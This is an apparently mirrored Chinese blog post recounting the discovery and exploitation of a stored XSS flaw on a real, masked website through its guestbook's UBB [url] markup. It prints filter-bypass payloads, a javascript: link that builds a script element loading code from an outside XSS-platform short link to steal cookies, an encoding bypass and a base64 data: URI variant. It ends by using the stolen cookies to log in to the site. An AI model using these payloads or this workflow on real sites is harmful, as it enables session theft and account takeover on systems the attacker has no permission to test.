zoukankan      html  css  js  c++  java
  • 一次xss的黑盒挖掘和利用过程

    挖掘过程一:

    自从上一次投稿,已经好久好久没写文章了。今天就着吃饭的时间,写篇文章,记录下自己学习xss这么久的心得。在我看来。Xss就是javascript注入,你可以在js语法规定的范畴内做任何事情,js可谓强大,本次结合一次挖掘xss的过程和xss的综合利用来探讨,小菜一枚,希望大牛不吝赐教。文章里的网站打码,大家见谅

    我们先看看网站

    测试储存型xss的话,黑盒测试效果还可以。我们这里不讨论反射型的,反射型的,基本一些扫描工具就可以秒了。当然我们要在我们能看见的任何地方开始狂插,<script>alert(1)</script>.

    我们先看看个人资料,

    看见这么多地方,我就乐了,心想应该会有戏吧。我们先测试<>这两个符号被过滤没有,全都插上<>试试,看看他服务器怎么处理的

    提交后的效果

    好像过滤,我们利用生茶元素看看,他变成了什么

    呵呵呵,出师不利啊。直接被xxoo了。这里的话<>被过滤了,我们发现代码是<input type="text" maxlength="50" value="<>" name="shenggao">

    也就是说,我们提交的内容在value里面,没错,我们可以想着利用"来封闭前后,再里面利用 onclick来执行xss,什么意思呢?就是我们理想情况下构造出

    那么我们只要插入" onclick="javascript:alert(1)测试即可。我们接着俩测试一番,可是

    死了,全都成中文的了。我们要突破?这时候,我突然想起一件事情来,与其变着法想着怎么突破xss还不如去找管理员疏忽的地方。这个暂且放这里,我暂时试了很多次都突破不了。我们去找找别的地方,看看有没有xss.

    很快,我来到了留言的部分,我发现可以写ubb语法,哈哈,什么是ubb语法、大家可以自己扩展,原来程序员开发这个cms的时候为了站长美化版面的自由性。可以让站长自定义一些小小的功能,也就是可以自己编写简单的html代码。

    这里举个例子来说吧,ubbhtml的区别和转换

    ubb:百度

    html:<a href="http://baidu.com">百度</a>

    测试了下果然可以,这下我乐了

    我们知道<a href="javascript:alert(1)">百度</a>这样可以弹窗的,于是我们在ubb中该怎么写呢?我们这里组合百度

    我们试一试

    哈哈,果然如此,我们看看源代码,看看他变成了什么。果然不出所料,变成了

    <a href="javascript:alert(1)">百度</a>,一次简单挖掘的过程就到此结束了。我们稍微来总结下,就是buu语法的利用,利用buuhtml之间的转换,在文中是,百度,之后变成了<a href="javascript:aler(1)">百度</a>

     

     

    编码绕过二

    竟然有了xss,那么我们第一时间就是打cookie了,当然后面还有个csrf的挂黑页,我打算以后讲,(ps:时间比较少,求管理给个邀请码)。

    于是我屁颠屁颠的拿了个xss平台来测试,傻乎乎的填上了代码

    但是肯定没卵用,我们可以测试下(大家不要进了误区)

     

    这个肯定不行,为什么呢?我们可以想,如果被解析成html后,那么就成了

    <a href="javascript:scr=http://t.cn/RLf6PED">百度</a>,但是我们知道如果他要执行,那么必须是作为jssrc的属性值的,也就是必须是这样

    <js src=http://t.cn/RLf6PED></js>,那么问题来了,我们怎么构建呢?还好,这时候,xss平台给我一个提示

     

    没错,在你认为可以执行的地方,利用createElemt创建一个便签,就是js,然后再js的标签再给他赋值。跟着这个思路,我们来改写下ubb代码。

    [url=javascript:s=createElement('script');body.appendChild(s);s.src=http://t.cn/RLf6PED]百度[/url]。我先自己在ie6的内核下测试了一下

    我暂时没想出来,哪里少了个分号。先不管,坛李如果有知道的同学,望告诉我哦。竟然这样,其实还有个问题就是我提交的单引号'也会被过滤。那么,竟然这样的话我,我们可以控制javascript:xxxxxx;那么它里面的字符应该是可以js加密的吧。我跟这这个思路就继续延伸下去。当然我先在本机测试一下,看看行不行,我们先把alert(1)转下码

    然后再来试试哈

    没有弹窗,这是为什么呢?我的想法是他把它当字符串了,也就是实际成了

    <a href="javascript:"alert(1)"">百度</a>。我们直接单刀插入<script>alert(1)</script>,先转下码

    再来测试下

    离目标近了很多,直接复制代码

    所以肯定是拿到cookies

    我们最后构建的payload

    百度

    其实还可以用<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> base64位(不知道名字记错没),但是打不到cookie,估计是同源什么之类的吧

    最后就是登陆咯。

     

    ========================================

  • 相关阅读:
    Contest20140710 eagleeggs
    bzoj 1059: [ZJOI2007]矩阵游戏 二分图匹配
    Quick-Cocos2d-x初学者游戏教程(二) -------------------- Quick内部的代码结构及相应的原理
    Quick-Cocos2d-x初学者游戏教程(一)--------------------Quick的一些基础知识
    使用Cocos Studio 1.6 编辑人物属性界面
    Cocos2d-x 3.0 开发(十四)使用UIScrollView 实现大小不同物品拖动展示
    使用Cocos Studio 1.6 编辑开始界面
    Cocos2d-x Json用法
    Cocos2d-x xml解析
    plist文件操作
  • 原文地址:https://www.cnblogs.com/h4ck0ne/p/5154619.html
Copyright © 2011-2022 走看看